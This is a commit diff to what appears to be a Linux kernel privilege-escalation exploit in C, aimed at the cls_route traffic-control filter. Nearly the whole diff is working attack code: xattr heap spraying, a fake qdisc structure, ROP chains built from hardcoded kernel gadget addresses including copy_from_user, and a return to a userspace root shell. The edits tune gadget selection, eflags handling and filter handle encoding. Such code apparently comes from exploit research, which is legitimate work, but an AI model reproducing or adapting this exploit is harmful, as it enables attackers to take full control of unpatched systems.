@@ -166,16 +166,15 @@ static char *g_sh_argv[] = {"sh", NULL};
166
166
static int g_status ;
167
167
168
168
#define MMAP_SIZE 0x8000
169
+ #define XATTR_HEAD_SIZE 0x20
169
170
170
171
static int g_pwned ;
171
172
172
173
void __attribute__((naked )) after_pwn ()
173
174
{
174
- // Fix user stack and recover eflags since we didn't do it when returning from kernel mode
175
+ // Fix user stack since we didn't do when returning from kernel mode
175
176
asm volatile (
176
177
"mov %0, %%rsp\n"
177
- "push $0x293\n"
178
- "popf"
179
178
:: "r" (g_mmapped_buf + MMAP_SIZE - 0x100 )
180
179
);
181
180
@@ -377,8 +376,6 @@ static void netlink_device_change(struct nlmsg* nlmsg, int sock,
377
376
netlink_attr (nlmsg , IFLA_MASTER , & ifindex , sizeof (ifindex ));
378
377
}
379
378
380
- unsigned int mtu = 0x001f0000L ;
381
- netlink_attr (nlmsg , IFLA_MTU , & mtu , sizeof (mtu ));
382
379
if (macsize )
383
380
netlink_attr (nlmsg , IFLA_ADDRESS , mac , macsize );
384
381
@@ -393,8 +390,8 @@ static void setup_network(char *link_name)
393
390
394
391
netlink_device_change (& nlmsg , sock , "lo" , true, 0 , NULL , 0 , link_name );
395
392
396
-
397
393
close (sock );
394
+
398
395
g_nl_sock = nl_cli_alloc_socket ();
399
396
nl_cli_connect (g_nl_sock , NETLINK_ROUTE );
400
397
g_link_cache = nl_cli_link_alloc_cache (g_nl_sock );
@@ -575,10 +572,12 @@ void add_route_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t
575
572
hdr .tcm_family = AF_UNSPEC ;
576
573
hdr .tcm_ifindex = 1 ;
577
574
hdr .tcm_parent = parent ;
578
- hdr .tcm_handle = handle | 0xffff0000 ;
579
575
580
- // proto = ETH_P_ALL
581
- hdr .tcm_info = 0x300 | (prio << 16 );
576
+ // cls_route handles contain following parameters encoded in uint32_t: source realm, source interface and destination realm
577
+ // This means we only filter by destination realm, any source will match:
578
+ hdr .tcm_handle = (handle & 0xff ) | (0xffff << 16 );
579
+
580
+ hdr .tcm_info = TC_H_MAKE (prio << 16 , htons (ETH_P_ALL ));
582
581
583
582
netlink_init (& nlmsg , RTM_NEWTFILTER , flags , & hdr , sizeof (hdr ));
584
583
@@ -793,7 +792,7 @@ void *trigger_classify()
793
792
794
793
int alloc_xattr3 (int fd , char * attr , size_t size , void * buf )
795
794
{
796
- int res = fsetxattr (fd , attr , buf , size - 32 , XATTR_CREATE );
795
+ int res = fsetxattr (fd , attr , buf , size - XATTR_HEAD_SIZE , XATTR_CREATE );
797
796
if (res < 0 ) {
798
797
err (1 , "fsetxattr" );
799
798
}
@@ -859,7 +858,7 @@ size_t prepare_rop2(char *buf)
859
858
860
859
* rop2 ++ = pop_r11_6_rcx ;
861
860
// eflags
862
- * rop2 ++ = 0x293 ;
861
+ * rop2 ++ = 0 ;
863
862
rop2 += 6 ;
864
863
865
864
// Userspace RIP
@@ -872,7 +871,8 @@ size_t prepare_rop2(char *buf)
872
871
void prepare_fake_qdisc (char * buf )
873
872
{
874
873
uint64_t ret = kaddr (0xffffffff810d502d );
875
- uint64_t rw_buffer = kaddr (0xffffffff83675360 );
874
+ // Any unused and writable page of memory will do
875
+ uint64_t rw_buffer = kaddr (0xffffffff84700000 );
876
876
uint64_t pop_rsi_rdx_rcx = kaddr (0xffffffff810289ce );
877
877
uint64_t copy_from_user = kaddr (0xffffffff81fd4820 );
878
878
@@ -888,11 +888,12 @@ void prepare_fake_qdisc(char *buf)
888
888
// 0xffffffff81d5747e: push r14 ; jmp qword [rsi+0x66]
889
889
uint64_t g2 = kaddr (0xffffffff81d5747e );
890
890
uint64_t pop_rsp = kaddr (0xffffffff81404820 );
891
- uint64_t pop_7 = kaddr (0xffffffff810289a5 );
891
+ uint64_t pop_r10_r9_r8_rdi_rsi_rdx_rcx = kaddr (0xffffffff810289a5 );
892
892
uint64_t pop_rdi_rsi_rdx_rcx = kaddr (0xffffffff8106fb3b );
893
893
894
894
* (uint64_t * ) (buf ) = g1 ;
895
- // stab
895
+
896
+ // stab pointer (struct qdisc_size_table *stab) has to be null or __qdisc_calculate_pkt_len() (called from qdisc_calculate_pkt_len/__dev_xmit_skb) will crash trying to use it before enqueuing the packet
896
897
* (uint64_t * ) (buf + 0x20 ) = 0 ;
897
898
898
899
* (uint64_t * ) (buf + 0x28 ) = g2 ;
@@ -906,7 +907,7 @@ void prepare_fake_qdisc(char *buf)
906
907
size_t rop2_len = prepare_rop2 (rop2 );
907
908
908
909
// jump over 0x66
909
- * rop ++ = pop_7 ;
910
+ * rop ++ = pop_r10_r9_r8_rdi_rsi_rdx_rcx ;
910
911
rop += 7 ;
911
912
912
913
* rop ++ = pop_rdi_rsi_rdx_rcx ;
0 commit comments